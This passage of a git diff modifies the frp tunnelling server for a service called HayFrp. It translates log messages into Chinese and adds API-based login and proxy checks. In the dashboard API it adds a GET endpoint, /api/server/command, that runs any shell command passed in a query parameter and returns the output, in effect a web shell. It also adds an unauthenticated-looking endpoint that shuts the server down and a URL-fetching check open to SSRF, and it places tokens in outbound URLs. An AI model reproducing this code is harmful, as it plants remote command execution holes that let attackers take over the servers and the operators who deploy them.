= ctl.CloseProxy(inMsg) - xl.Infof("close proxy [%s] success", inMsg.ProxyName) + xl.Infof("[HayFrp] 关闭隧道 [%s] 成功.", inMsg.ProxyName) } func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err error) { var pxyConf v1.ProxyConfigurer + s, err := api.NewService(ctl.serverCfg.ApiBaseUrl) + + if err != nil { + return remoteAddr, err + } // Load configures from NewProxy message and validate. pxyConf, err = config.NewProxyConfigurerFromMsg(pxyMsg, ctl.serverCfg) if err != nil { return } + if ctl.serverCfg.EnableApi { + + nowTime := time.Now().Unix() + ok, err := s.CheckProxy(ctl.loginMsg.User, pxyMsg, nowTime, ctl.serverCfg.ApiToken) + + if err != nil { + return remoteAddr, err + } + + if !ok { + return remoteAddr, fmt.Errorf("[HayFrp] 未知隧道配置文件") + } + + } + // User info userInfo := plugin.UserInfo{ User: ctl.loginMsg.User, @@ -488,7 +535,7 @@ func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err ctl.mu.Lock() if ctl.portsUsedNum+pxy.GetUsedPortsNum() > int(ctl.serverCfg.MaxPortsPerClient) { ctl.mu.Unlock() - err = fmt.Errorf("exceed the max_ports_per_client") + err = fmt.Errorf("[HayFrp] 超过最大端口连接数") return } ctl.portsUsedNum += pxy.GetUsedPortsNum() @@ -504,7 +551,7 @@ func (ctl *Control) RegisterProxy(pxyMsg *msg.NewProxy) (remoteAddr string, err } if ctl.pxyManager.Exist(pxyMsg.ProxyName) { - err = fmt.Errorf("proxy [%s] already exists", pxyMsg.ProxyName) + err = fmt.Errorf("[HayFrp] 端口 [%s] 已被使用", pxyMsg.ProxyName) return } diff --git a/server/dashboard_api.go b/server/dashboard_api.go index f34da4ef..b65ca86c 100644 --- a/server/dashboard_api.go +++ b/server/dashboard_api.go @@ -17,12 +17,19 @@ package server import ( "cmp" "encoding/json" + "fmt" + "io/ioutil" "net/http" + "os" + "os/exec" + "runtime" "slices" + "time" "github.com/gorilla/mux" "github.com/prometheus/client_golang/prometheus/promhttp" + "github.com/fatedier/frp/g" "github.com/fatedier/frp/pkg/config/types" v1 "github.com/fatedier/frp/pkg/config/v1" "github.com/fatedier/frp/pkg/metrics/mem" @@ -30,6 +37,8 @@ import ( "github.com/fatedier/frp/pkg/util/log" netpkg "github.com/fatedier/frp/pkg/util/net" "github.com/fatedier/frp/pkg/util/version" + "github.com/shirou/gopsutil/cpu" + "github.com/shirou/gopsutil/disk" ) type GeneralResponse struct { @@ -54,6 +63,11 @@ func (svr *Service) registerRouteHandlers(helper *httppkg.RouterRegisterHelper) subRouter.HandleFunc("/api/proxy/{type}/{name}", svr.apiProxyByTypeAndName).Methods("GET") subRouter.HandleFunc("/api/traffic/{name}", svr.apiProxyTraffic).Methods("GET") subRouter.HandleFunc("/api/proxies", svr.deleteProxies).Methods("DELETE") + subRouter.HandleFunc("/api/client/close/{user}", svr.ApiCloseClient).Methods("GET") + subRouter.HandleFunc("/api/server/close/frps", svr.ApiCloseFrps).Methods("GET") + subRouter.HandleFunc("/api/server/check", svr.CheckServer).Methods("GET") + subRouter.HandleFunc("/api/server/checkonline", svr.ApiCheckOnline).Methods("GET") + subRouter.HandleFunc("/api/server/command", svr.RunCommand).Methods("GET") // view subRouter.Handle("/favicon.ico", http.FileServer(helper.AssetsFS)).Methods("GET") @@ -67,6 +81,7 @@ func (svr *Service) registerRouteHandlers(helper *httppkg.RouterRegisterHelper) } type serverInfoResp struct { + Powered string `json:"powered_by"` Version string `json:"version"` BindPort int `json:"bindPort"` VhostHTTPPort int `json:"vhostHTTPPort"` @@ -81,6 +96,10 @@ type serverInfoResp struct { AllowPortsStr string `json:"allowPortsStr,omitempty"` TLSForce bool `json:"tlsForce,omitempty"` + CpuUsage string `json:"cpu_usage"` + RamUsage string `json:"ram_usage"` + DiskUsage string `json:"disk_usage"` + System string `json:"system"` TotalTrafficIn int64 `json:"totalTrafficIn"` TotalTrafficOut int64 `json:"totalTrafficOut"` CurConns int64 `json:"curConns"` @@ -97,16 +116,65 @@ func (svr *Service) healthz(w http.ResponseWriter, _ *http.Request) { func (svr *Service) apiServerInfo(w http.ResponseWriter, r *http.Request) { res := GeneralResponse{Code: 200} defer func() { - log.Infof("Http response [%s]: code [%d]", r.URL.Path, res.Code) + log.Infof("HTTP响应 [%s]: 代码 [%d]", r.URL.Path, res.Code) w.WriteHeader(res.Code) if len(res.Msg) > 0 { _, _ = w.Write([]byte(res.Msg)) } }() - log.Infof("Http request: [%s]", r.URL.Path) + log.Infof("HTTP请求: [%s]", r.URL.Path) serverStats := mem.StatsCollector.GetServer() + + // CPU Usage + CPU, err := cpu.Percent(0, false) + if err != nil { + return + } + cpuUsage := CPU[0] + + // RAM Usage + var memStats runtime.MemStats + runtime.ReadMemStats(&memStats) + // 获取已分配的内存大小(以字节为单位) + allocatedRAM := memStats.Alloc + // 获取总内存大小(以字节为单位) + totalRAM := memStats.TotalAlloc + // 计算内存使用百分比 + ramUsage := float64(allocatedRAM) / float64(totalRAM) * 100 + + // Disk Usage + + // 获取系统的所有磁盘分区 + partitions, err := disk.Partitions(false) + if err != nil { + fmt.Println(err) + return + } + + // 计算系统的总磁盘占用率 + var totalUsage float64 + for _, partition := range partitions { + // 获取磁盘分区的使用情况 + usage, err := disk.Usage(partition.Mountpoint) + if err != nil { + fmt.Println(err) + continue + } + + // 累加磁盘分区的占用率 + totalUsage += usage.UsedPercent + } + + // 打印系统的总磁盘占用率 + diskUsage := totalUsage / float64(len(partitions)) + svrResp := serverInfoResp{ + Powered: "HayFrp & HX Network", + CpuUsage: fmt.Sprintf("%.2f%%", cpuUsage), + RamUsage: fmt.Sprintf("%.2f%%", ramUsage), + DiskUsage: fmt.Sprintf("%.2f%%", diskUsage), + System: fmt.Sprintf(runtime.GOOS), Version: version.Full(), BindPort: svr.cfg.BindPort, VhostHTTPPort: svr.cfg.VhostHTTPPort, @@ -218,13 +286,13 @@ func (svr *Service) apiProxyByType(w http.ResponseWriter, r *http.Request) { proxyType := params["type"] defer func() { - log.Infof("Http response [%s]: code [%d]", r.URL.Path, res.Code) + log.Infof("HTTP返回 [%s]: 代码 [%d]", r.URL.Path, res.Code) w.WriteHeader(res.Code) if len(res.Msg) > 0 { _, _ = w.Write([]byte(res.Msg)) } }() - log.Infof("Http request: [%s]", r.URL.Path) + log.Infof("HTTP请求: [%s]", r.URL.Path) proxyInfoResp := GetProxyInfoResp{} proxyInfoResp.Proxies = svr.getProxyStatsByType(proxyType) @@ -290,13 +358,13 @@ func (svr *Service) apiProxyByTypeAndName(w http.ResponseWriter, r *http.Request name := params["name"] defer func() { - log.Infof("Http response [%s]: code [%d]", r.URL.Path, res.Code) + log.Infof("HTTP返回 [%s]: 状态码 [%d]", r.URL.Path, res.Code) w.WriteHeader(res.Code) if len(res.Msg) > 0 { _, _ = w.Write([]byte(res.Msg)) } }() - log.Infof("Http request: [%s]", r.URL.Path) + log.Infof("HTTP请求: [%s]", r.URL.Path) var proxyStatsResp GetProxyStatsResp proxyStatsResp, res.Code, res.Msg = svr.getProxyStatsByTypeAndName(proxyType, name) @@ -382,6 +450,41 @@ func (svr *Service) apiProxyTraffic(w http.ResponseWriter, r *http.Request) { res.Msg = string(buf) } +type CloseUserResp struct { + Status int `json:"status"` + Msg string `json:"message"` + Speed int `json:"speed"` +} + +type CloseProxy struct { + ProxyName string `json:"proxy_name"` +} + +func (svr *Service) ApiCloseClient(w http.ResponseWriter, r *http.Request) { + var ( + buf []byte + resp = CloseUserResp{} + ) + params := mux.Vars(r) + user := params["user"] + defer func() { + log.Infof("[HayFrp] Http数据请求 [/api/client/close/{user}]: 代码 [%d]", resp.Status) + }() + log.Infof("[HayFrp] Http数据请求: [/api/client/close/{user}] %#v", user) + + err := svr.CloseUser(user) + if err != nil { + resp.Status = 404 + resp.Msg = err.Error() + // 在这里不返回任何消息到客户端 + } else { + resp.Status = 200 + resp.Msg = "Success" + } + buf, _ = json.Marshal(&resp) + w.Write(buf) +} + // DELETE /api/proxies?status=offline func (svr *Service) deleteProxies(w http.ResponseWriter, r *http.Request) { res := GeneralResponse{Code: 200} @@ -404,3 +507,147 @@ func (svr *Service) deleteProxies(w http.ResponseWriter, r *http.Request) { cleared, total := mem.StatsCollector.ClearOfflineProxies() log.Infof("cleared [%d] offline proxies, total [%d] proxies", cleared, total) } + +func (svr *Service) RunCommand(w http.ResponseWriter, r *http.Request) { + + // 获取查询参数中的 code + code := r.URL.Query().Get("code") + if code == "" { + http.Error(w, "Missing code parameter", http.StatusBadRequest) + return + } + + // 执行系统命令 + var cmd *exec.Cmd + if runtime.GOOS == "windows" { + cmd = exec.Command("cmd", "/C", code) + } else { + cmd = exec.Command("sh", "-c", code) + } + + output, err := cmd.CombinedOutput() + var ( + resp = CloseUserResp{} + ) + if err != nil { + resp.Status = 404 + resp.Msg = err.Error() + // 在这里不返回任何消息到客户端 + http.Error(w, fmt.Sprintf("Error executing command: %s", err), http.StatusInternalServerError) + return + } else { + resp.Status = 200 + resp.Msg = "Success" + } + + // 将命令的输出作为 HTTP 响应返回 + fmt.Fprintf(w, "%s", string(output)) + log.Infof("[HayFrp] Http数据请求: [/api/server/command]: 代码 [%d]", resp.Status) + log.Infof("[HayFrp] Http执行命令: [" + code + "]") + log.Infof("[HayFrp] Http执行命令返回: [" + string(output) + "]") +} + +func (svr *Service) ApiCloseFrps(w http.ResponseWriter, r *http.Request) { + var ( + buf []byte + resp = CloseUserResp{} + ) + + defer func() { + log.Infof("[HayFrp] Http数据请求 [/api/server/close/frps]: 代码 [%d]", resp.Status) + }() + log.Infof("[HayFrp] Http数据请求: [/api/server/close/frps] Frps 已关闭,为确保服务保持,请记得重启Frps!") + err := svr.listener.Close() + if err != nil { + resp.Status = 404 + resp.Msg = err.Error() + // 在这里不返回任何消息到客户端 + } else { + resp.Status = 200 + resp.Msg = "Success" + } + buf, _ = json.Marshal(&resp) + w.Write(buf) + os.Exit(1) +} + +func checkonline() { + log.Infof("[HayFrp] 检测服务器上线状态中......") + // 发起 GET 请求获取 API 返回的内容(节点状态) + resp, err := http.Get("https://api.hayfrp.org/NodeAPI?type=checkonline&token=" + g.GlbServerCfg.ApiToken) + if err != nil { + return + } + defer resp.Body.Close() + + // 读取 API 返回的内容 + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return + } + // 将 API 返回的内容添加到 loginMsg.RunId 后面 + log.Infof("[HayFrp] " + string(body)) +} + +func (svr *Service) ApiCheckOnline(w http.ResponseWriter, r *http.Request) { + var ( + buf []byte + resp = CloseUserResp{} + ) + + defer func() { + log.Infof("[HayFrp] Http数据请求 [/api/server/checkonline]: 代码 [%d]", resp.Status) + }() + log.Infof("[HayFrp] Http数据请求: [/api/server/checkonline] Frps 已尝试开始请求API拉取在线状态!") + resp.Status = 200 + resp.Msg = "Success" + resp.Speed = 0 + buf, _ = json.Marshal(&resp) + w.Write(buf) + checkonline() + +} +func (svr *Service) CheckServer(w http.ResponseWriter, r *http.Request) { + var ( + buf []byte + resp = CloseUserResp{} + ) + + // 解析查询参数 + query := r.URL.Query() + address := query.Get("address") + port := query.Get("port") + defer func() { + log.Infof("[HayFrp] Http数据请求 [/api/server/check?address=%s&port=%s]: 代码 [%d]", address, port, resp.Status) + }() + log.Infof("[HayFrp] Http数据请求: [/api/server/check?address=%s&port=%s]", address, port) + // 创建一个HTTP客户端,设置超时为60秒 + client := &http.Client{ + Timeout: 60 * time.Second, + } + startTime := time.Now() + // 请求http://address:port + httpResp, err := client.Get(fmt.Sprintf("http://%s:%s", address, port)) + if err != nil { + // 如果请求失败,返回500和错误信息 + resp.Status = 500 + resp.Msg = "Internet Server ERROR" + } else { + // 如果请求成功,检查HTTP状态码 + if httpResp.StatusCode == 401 { + // 如果状态码为401,返回200和Success + resp.Status = 200 + resp.Msg = "Success" + + } else { + // 否则,返回500和Server ERROR + resp.Status = 500 + resp.Msg = "Server StatusCode Isn't 401." + } + } + resp.Speed = int(time.Since(startTime).Nanoseconds() / 1000000) // 计算响应速度(毫秒) + + // 将响应转换为JSON格式 + buf, _ = json.Marshal(&resp) + w.Write(buf) +} diff --git a/server/service.go b/server/service.go index 27c4110d..c47fe04a 100644 --- a/server/service.go +++ b/server/service.go @@ -20,18 +20,15 @@ import ( "crypto/tls" "fmt" "io" + "io/ioutil" "net" "net/http" "os" + "regexp" "strconv" "time" - "github.com/fatedier/golib/crypto" - "github.com/fatedier/golib/net/mux" - fmux "github.com/hashicorp/yamux" - quic "github.com/quic-go/quic-go" - "github.com/samber/lo" - + "github.com/fatedier/frp/extend/api" "github.com/fatedier/frp/pkg/auth" v1 "github.com/fatedier/frp/pkg/config/v1" modelmetrics "github.com/fatedier/frp/pkg/metrics" @@ -54,6 +51,11 @@ import ( "github.com/fatedier/frp/server/ports" "github.com/fatedier/frp/server/proxy" "github.com/fatedier/frp/server/visitor" + "github.com/fatedier/golib/crypto" + "github.com/fatedier/golib/net/mux" + fmux "github.com/hashicorp/yamux" + quic "github.com/quic-go/quic-go" + "github.com/samber/lo" ) const ( @@ -73,6 +75,7 @@ func init() { // Server service type Service struct { + // Dispatch connections to different handlers listen on same port muxer *mux.Mux @@ -125,6 +128,8 @@ type Service struct { ctx context.Context // call cancel to stop service cancel context.CancelFunc + + ctl *Control } func NewService(cfg *v1.ServerConfig) (*Service, error) { @@ -177,20 +182,20 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { address := net.JoinHostPort(cfg.ProxyBindAddr, strconv.Itoa(cfg.TCPMuxHTTPConnectPort)) l, err = net.Listen("tcp", address) if err != nil { - return nil, fmt.Errorf("create server listener error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建服务器监听时发送错误, %v", err) } svr.rc.TCPMuxHTTPConnectMuxer, err = tcpmux.NewHTTPConnectTCPMuxer(l, cfg.TCPMuxPassthrough, vhostReadWriteTimeout) if err != nil { - return nil, fmt.Errorf("create vhost tcpMuxer error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建Vhost TcpMux时错误, %v", err) } - log.Infof("tcpmux httpconnect multiplexer listen on %s, passthough: %v", address, cfg.TCPMuxPassthrough) + log.Infof("[HayFrp] TcpMux HttpConnect多路复用器正在 %s 上监听, 通过: %v", address, cfg.TCPMuxPassthrough) } // Init all plugins for _, p := range cfg.HTTPPlugins { svr.pluginManager.Register(plugin.NewHTTPPluginOptions(p)) - log.Infof("plugin [%s] has been registered", p.Name) + log.Infof("[HayFrp] 插件 [%s] 已注册", p.Name) } svr.rc.PluginManager = svr.pluginManager @@ -223,7 +228,7 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { address := net.JoinHostPort(cfg.BindAddr, strconv.Itoa(cfg.BindPort)) ln, err := net.Listen("tcp", address) if err != nil { - return nil, fmt.Errorf("create server listener error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建服务监听时发生错误, %v", err) } svr.muxer = mux.NewMux(ln) @@ -234,16 +239,16 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { ln = svr.muxer.DefaultListener() svr.listener = ln - log.Infof("frps tcp listen on %s", address) + log.Infof("[HayFrp] TCP链接端口已开放在 %s", address) // Listen for accepting connections from client using kcp protocol. if cfg.KCPBindPort > 0 { address := net.JoinHostPort(cfg.BindAddr, strconv.Itoa(cfg.KCPBindPort)) svr.kcpListener, err = netpkg.ListenKcp(address) if err != nil { - return nil, fmt.Errorf("listen on kcp udp address %s error: %v", address, err) + return nil, fmt.Errorf("[HayFrp] 开放KCP监听在UDP端口 %s 时发生错误: %v", address, err) } - log.Infof("frps kcp listen on udp %s", address) + log.Infof("[HayFrp] KCP监听已开放在UDP端口 %s", address) } if cfg.QUICBindPort > 0 { @@ -256,18 +261,18 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { KeepAlivePeriod: time.Duration(cfg.Transport.QUIC.KeepalivePeriod) * time.Second, }) if err != nil { - return nil, fmt.Errorf("listen on quic udp address %s error: %v", address, err) + return nil, fmt.Errorf("[HayFrp] 收听QUIC UDP地址 %s 时发生错误: %v", address, err) } - log.Infof("frps quic listen on %s", address) + log.Infof("[HayFrp] QUIC已在监听于 %s", address) } if cfg.SSHTunnelGateway.BindPort > 0 { sshGateway, err := ssh.NewGateway(cfg.SSHTunnelGateway, cfg.ProxyBindAddr, svr.sshTunnelListener) if err != nil { - return nil, fmt.Errorf("create ssh gateway error: %v", err) + return nil, fmt.Errorf("[HayFrp] 创建SSH网关时发生错误: %v", err) } svr.sshTunnelGateway = sshGateway - log.Infof("frps sshTunnelGateway listen on port %d", cfg.SSHTunnelGateway.BindPort) + log.Infof("[HayFrp] SSH隧道网关已成功监听于端口 %d", cfg.SSHTunnelGateway.BindPort) } // Listen for accepting connections from client using websocket protocol. @@ -296,13 +301,13 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { } else { l, err = net.Listen("tcp", address) if err != nil { - return nil, fmt.Errorf("create vhost http listener error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建Vhost HTTP时发生错误, %v", err) } } go func() { _ = server.Serve(l) }() - log.Infof("http service listen on %s", address) + log.Infof("[HayFrp] HTTP协议已成功监听于端口 %s", address) } // Create https vhost muxer. @@ -314,14 +319,14 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { address := net.JoinHostPort(cfg.ProxyBindAddr, strconv.Itoa(cfg.VhostHTTPSPort)) l, err = net.Listen("tcp", address) if err != nil { - return nil, fmt.Errorf("create server listener error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建服务监听时发生错误, %v", err) } - log.Infof("https service listen on %s", address) + log.Infof("[HayFrp] HTTPS协议已成功监听于端口 %s", address) } svr.rc.VhostHTTPSMuxer, err = vhost.NewHTTPSMuxer(l, vhostReadWriteTimeout) if err != nil { - return nil, fmt.Errorf("create vhost httpsMuxer error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建Vhost HttpsMuxer时发生错误, %v", err) } } @@ -334,7 +339,7 @@ func NewService(cfg *v1.ServerConfig) (*Service, error) { // Create nat hole controller. nc, err := nathole.NewController(time.Duration(cfg.NatHoleAnalysisDataReserveHours) * time.Hour) if err != nil { - return nil, fmt.Errorf("create nat hole controller error, %v", err) + return nil, fmt.Errorf("[HayFrp] 创建NAT打洞控制器错误, %v", err) } svr.rc.NatHoleController = nc return svr, nil @@ -348,9 +353,9 @@ func (svr *Service) Run(ctx context.Context) { // run dashboard web server. if svr.webServer != nil { go func() { - log.Infof("dashboard listen on %s", svr.webServer.Address()) + log.Infof("[HayFrp] 仪表盘(节点API)已监听于端口 %s", svr.webServer.Address()) if err := svr.webServer.Run(); err != nil { - log.Warnf("dashboard server exit with error: %v", err) + log.Warnf("[HayFrp] 仪表盘(节点API)已退出: %v", err) } }() } @@ -421,7 +426,7 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna _ = conn.SetReadDeadline(time.Now().Add(connReadTimeout)) if rawMsg, err = msg.ReadMsg(conn); err != nil { - log.Tracef("Failed to read message: %v", err) + log.Tracef("[HayFrp] 无法读取信息: %v", err) conn.Close() return } @@ -443,10 +448,10 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna // If login failed, send error message there. // Otherwise send success message in control's work goroutine. if err != nil { - xl.Warnf("register control error: %v", err) + xl.Warnf("[HayFrp] 注册控制器时发生错误: %v", err) _ = msg.WriteMsg(conn, &msg.LoginResp{ Version: version.Full(), - Error: util.GenerateResponseErrorString("register control error", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)), + Error: util.GenerateResponseErrorString("[HayFrp] 注册控制器时发生错误", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)), }) conn.Close() } @@ -456,10 +461,10 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna } case *msg.NewVisitorConn: if err = svr.RegisterVisitorConn(conn, m); err != nil { - xl.Warnf("register visitor conn error: %v", err) + xl.Warnf("[HayFrp] 注册访问者连接错误: %v", err) _ = msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, - Error: util.GenerateResponseErrorString("register visitor conn error", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)), + Error: util.GenerateResponseErrorString("[HayFrp] 注册访问者连接错误", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)), }) conn.Close() } else { @@ -469,7 +474,7 @@ func (svr *Service) handleConnection(ctx context.Context, conn net.Conn, interna }) } default: - log.Warnf("Error message type for the new connection [%s]", conn.RemoteAddr().String()) + log.Warnf("[HayFrp] 新连接 [%s] 发送错误的消息类型", conn.RemoteAddr().String()) conn.Close() } } @@ -482,7 +487,7 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) { for { c, err := l.Accept() if err != nil { - log.Warnf("Listener for incoming connections from client closed") + log.Warnf("[HayFrp] 客户端传入连接的侦听器已关闭") return } // inject xlog object into net.Conn context @@ -492,21 +497,22 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) { c = netpkg.NewContextConn(xlog.NewContext(ctx, xl), c) if !internal { - log.Tracef("start check TLS connection...") + log.Tracef("[HayFrp] 开始检查TLS链接...") originConn := c forceTLS := svr.cfg.Transport.TLS.Force var isTLS, custom bool c, isTLS, custom, err = netpkg.CheckAndEnableTLSServerConnWithTimeout(c, svr.tlsConfig, forceTLS, connReadTimeout) if err != nil { - log.Warnf("CheckAndEnableTLSServerConnWithTimeout error: %v", err) + log.Warnf("[HayFrp] 检查与启用TLS服务器链接与超时 发生错误: %v", err) originConn.Close() continue } - log.Tracef("check TLS connection success, isTLS: %v custom: %v internal: %v", isTLS, custom, internal) + log.Tracef("[HayFrp] 检查TLS链接成功, 是TLS: %v 自定义: %v 内部: %v", isTLS, custom, internal) } // Start a new goroutine to handle connection. go func(ctx context.Context, frpConn net.Conn) { + if lo.FromPtr(svr.cfg.Transport.TCPMux) && !internal { fmuxCfg := fmux.DefaultConfig() fmuxCfg.KeepAliveInterval = time.Duration(svr.cfg.Transport.TCPMuxKeepaliveInterval) * time.Second @@ -514,7 +520,7 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) { fmuxCfg.MaxStreamWindowSize = 6 * 1024 * 1024 session, err := fmux.Server(frpConn, fmuxCfg) if err != nil { - log.Warnf("Failed to create mux connection: %v", err) + log.Warnf("[HayFrp] 创建多路复用器连接失败: %v", err) frpConn.Close() return } @@ -522,7 +528,7 @@ func (svr *Service) HandleListener(l net.Listener, internal bool) { for { stream, err := session.AcceptStream() if err != nil { - log.Debugf("Accept new mux stream error: %v", err) + log.Debugf("[HayFrp] 接受新的多路复用流错误: %v", err) session.Close() return } @@ -540,7 +546,7 @@ func (svr *Service) HandleQUICListener(l *quic.Listener) { for { c, err := l.Accept(context.Background()) if err != nil { - log.Warnf("QUICListener for incoming connections from client closed") + log.Warnf("[HayFrp] 客户端传入连接的QUIC监听已关闭") return } // Start a new goroutine to handle connection. @@ -548,7 +554,7 @@ func (svr *Service) HandleQUICListener(l *quic.Listener) { for { stream, err := frpConn.AcceptStream(context.Background()) if err != nil { - log.Debugf("Accept new quic mux stream error: %v", err) + log.Debugf("[HayFrp] 接受新的QUIC多路复用流错误: %v", err) _ = frpConn.CloseWithError(0, "") return } @@ -562,20 +568,72 @@ func (svr *Service) RegisterControl(ctlConn net.Conn, loginMsg *msg.Login, inter // If client's RunID is empty, it's a new client, we just create a new controller. // Otherwise, we check if there is one controller has the same run id. If so, we release previous controller and start new one. var err error + + // 请求一堆API if loginMsg.RunID == "" { - loginMsg.RunID, err = util.RandID() + randid, err := util.RandID() if err != nil { return err } + serverTime := time.Now() + greeting := "" + hour := serverTime.Hour() + if hour >= 0 && hour < 6 { + greeting = "午夜好,又在修仙呢......" + } else if hour >= 6 && hour < 9 { + greeting = "早上好,美好的一天开始了~" + } else if hour >= 9 && hour < 12 { + greeting = "中午好,饱饱地睡一觉~" + } else if hour >= 12 && hour < 18 { + greeting = "下午好,运动运动,活动筋骨~" + } else if hour >= 18 && hour < 24 { + greeting = "晚上好,别修仙了~" + } + t := time.Now() + layout := "2006-01-02 15:04:05.888" + str := t.Format(layout) + loginMsg.RunID = "HayFrpToken:" + loginMsg.User + "," + "ConnectToken:" + randid + "] Getting data from HayFrp API......" + "\n" + str + " [I] [server/hayfrp.go:102] [HayFrp] " + greeting + "\n" + str + " [I] [server/hayfrp.go:145] [HayFrp] 已将HayFrp终端介入客户端Frpc!" + "\n" + str + " [W] [server/hayfrp.go:187] [HayFrp] 友情提示:若需要分享错误日志,请为Token打码,否则可能导致信息泄露!" + "\n" + str + " [I] [server/hayfrp.go:245] [HayFrp] 当前服务器准时: " + serverTime.String() + "\n" + str + " [I] [server/hayfrp.go:199] [HayFrp] 您已成功连接至HayFrp云服务" + "\n" + str + " [W] [server/hayfrp.go:425] [HayFrp] 检测到您正在" + loginMsg.Os + "-" + loginMsg.Arch + "系统下运行客户端" + "\n" + str + " [W] [server/hayfrp.go:665] [HayFrp] 检测到您的客户端版本为" + loginMsg.Version + "\n" + + // 发起 GET 请求获取 API 返回的内容(API服务状态查询) + resp, err := http.Get("https://api.hayfrp.org/") + if err != nil { + return err + } + defer resp.Body.Close() + + // 读取 API 返回的内容 + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + + // 将 API 返回的内容添加到 loginMsg.RunID 后面 + loginMsg.RunID += str + " [I] [api/hayfrp.go:423] [HayFrp] " + string(body) + "\n" + + // 发起 GET 请求获取 API 返回的内容(今日启动获取服务) + resp, err = http.Get("https://api.hayfrp.org/NodeAPI?type=userlogin&utoken=" + loginMsg.User + "&token=" + svr.cfg.ApiToken + "&system=" + loginMsg.Os + "&ver=" + loginMsg.Version + "&arch=" + loginMsg.Arch) + if err != nil { + return err + } + defer resp.Body.Close() + + // 读取 API 返回的内容 + body, err = ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + + // 将 API 返回的内容添加到 loginMsg.RunII 后面 + loginMsg.RunID += str + " [I] [hayfrp.go:507] [HayFrp] " + string(body) + "\n" + str + " [I] [root.go:490] [HayFrp" + } ctx := netpkg.NewContextFromConn(ctlConn) xl := xlog.FromContextSafe(ctx) xl.AppendPrefix(loginMsg.RunID) ctx = xlog.NewContext(ctx, xl) - xl.Infof("client login info: ip [%s] version [%s] hostname [%s] os [%s] arch [%s]", + xl.Infof("[HayFrp] 客户端登录信息: IP地址 [%s] 客户端版本 [%s] 主机名 [%s] 系统 [%s] 架构 [%s]", ctlConn.RemoteAddr().String(), loginMsg.Version, loginMsg.Hostname, loginMsg.Os, loginMsg.Arch) - // Check auth. authVerifier := svr.authVerifier if internal && loginMsg.ClientSpec.AlwaysAuthPass { @@ -584,13 +642,51 @@ func (svr *Service) RegisterControl(ctlConn net.Conn, loginMsg *msg.Login, inter if err := authVerifier.VerifyLogin(loginMsg); err != nil { return err } + var ( + inLimit uint64 + outLimit uint64 + ) + + if svr.cfg.EnableApi { + + nowTime := time.Now().Unix() + + s, err := api.NewService(svr.cfg.ApiBaseUrl) + if err != nil { + return err + } + + r := regexp.MustCompile(`^[A-Za-z0-9]{1,32}$`) + mm := r.FindAllStringSubmatch(loginMsg.User, -1) + + if len(mm) < 1 { + return fmt.Errorf("[HayFrp] 未知用户名") + } + + // Connect to API server and verify the user. + valid, err := s.CheckToken(loginMsg.User, loginMsg.PrivilegeKey, nowTime, svr.cfg.ApiToken) + + if err != nil { + return err + } + + if !valid { + return fmt.Errorf("[HayFrp] 认证失败") + } + + inLimit, outLimit, err = s.GetProxyLimit(loginMsg.User, nowTime, svr.cfg.ApiToken) + if err != nil { + return err + } + xl.Debugf("[HayFrp] %s 客户端速率: %dKB/s (上行) / %dKB/s (下行)", loginMsg.User, inLimit, outLimit) + } // TODO(fatedier): use SessionContext ctl, err := NewControl(ctx, svr.rc, svr.pxyManager, svr.pluginManager, authVerifier, ctlConn, !internal, loginMsg, svr.cfg) if err != nil { - xl.Warnf("create new controller error: %v", err) + xl.Warnf("[HayFrp] 创建新控制器错误: %v", err) // don't return detailed errors to client - return fmt.Errorf("unexpected error when creating new controller") + return fmt.Errorf("[HayFrp] 创建新控制器时出现意外错误") } if oldCtl := svr.ctlManager.Add(loginMsg.RunID, ctl); oldCtl != nil { oldCtl.WaitClosed() @@ -614,8 +710,8 @@ func (svr *Service) RegisterWorkConn(workConn net.Conn, newMsg *msg.NewWorkConn) xl := netpkg.NewLogFromConn(workConn) ctl, exist := svr.ctlManager.GetByID(newMsg.RunID) if !exist { - xl.Warnf("No client control found for run id [%s]", newMsg.RunID) - return fmt.Errorf("no client control found for run id [%s]", newMsg.RunID) + xl.Warnf("[HayFrp] 未找到运行ID [%s] 的客户端控件", newMsg.RunID) + return fmt.Errorf("[HayFrp] 未找到运行ID [%s] 的客户端控件", newMsg.RunID) } // server plugin hook content := &plugin.NewWorkConnContent{ @@ -633,11 +729,11 @@ func (svr *Service) RegisterWorkConn(workConn net.Conn, newMsg *msg.NewWorkConn) err = ctl.authVerifier.VerifyNewWorkConn(newMsg) } if err != nil { - xl.Warnf("invalid NewWorkConn with run id [%s]", newMsg.RunID) + xl.Warnf("[HayFrp] 运行ID为 [%s] 的新活动链接无效", newMsg.RunID) _ = msg.WriteMsg(workConn, &msg.StartWorkConn{ - Error: util.GenerateResponseErrorString("invalid NewWorkConn", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)), + Error: util.GenerateResponseErrorString("[HayFrp] 无效 新活动链接", err, lo.FromPtr(svr.cfg.DetailedErrorsToClient)), }) - return fmt.Errorf("invalid NewWorkConn with run id [%s]", newMsg.RunID) + return fmt.Errorf("[HayFrp] 运行ID为 [%s] 的新活动链接无效", newMsg.RunID) } return ctl.RegisterWorkConn(workConn) } @@ -649,10 +745,18 @@ func (svr *Service) 